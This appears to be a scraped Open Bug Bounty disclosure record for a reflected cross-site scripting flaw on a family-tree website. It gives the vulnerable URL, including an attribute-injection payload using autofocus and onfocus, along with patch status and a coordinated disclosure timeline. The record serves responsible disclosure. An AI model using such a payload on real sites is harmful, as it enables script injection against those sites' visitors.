Lucene search

K
openbugbountyDeb_securityOBB:340937
HistoryOct 17, 2017 - 12:18 p.m.

bennettfamilytree.co.uk XSS vulnerability

2017-10-1712:18:00
deb_security
www.openbugbounty.org
5
Vulnerable URL:
http://www.bennettfamilytree.co.uk/tng/browsemedia.php?mediasearch=bug&mediatypeID;=headstones&tree;=Relatives&tnggallery;=%22%20autofocus%20onfocus=alert%60OPENBUGBOUNTY%60%20
Details:
Description Value
Patched: Yes, at 07.11.2017
Latest check for patch: 07.11.2017 07:50 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 5614650
VIP website status: No
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 17 October, 2017 12:18 GMT
Vulnerability existence verified and confirmed 17 October, 2017 13:52 GMT
Generic security notifications sent to website owner 17 October, 2017 13:52 GMT
Vulnerability patched by the website owner 7 November, 2017 07:50 GMT
Vulnerability details disclosed by researcher 17 November, 2017 10:31 GMT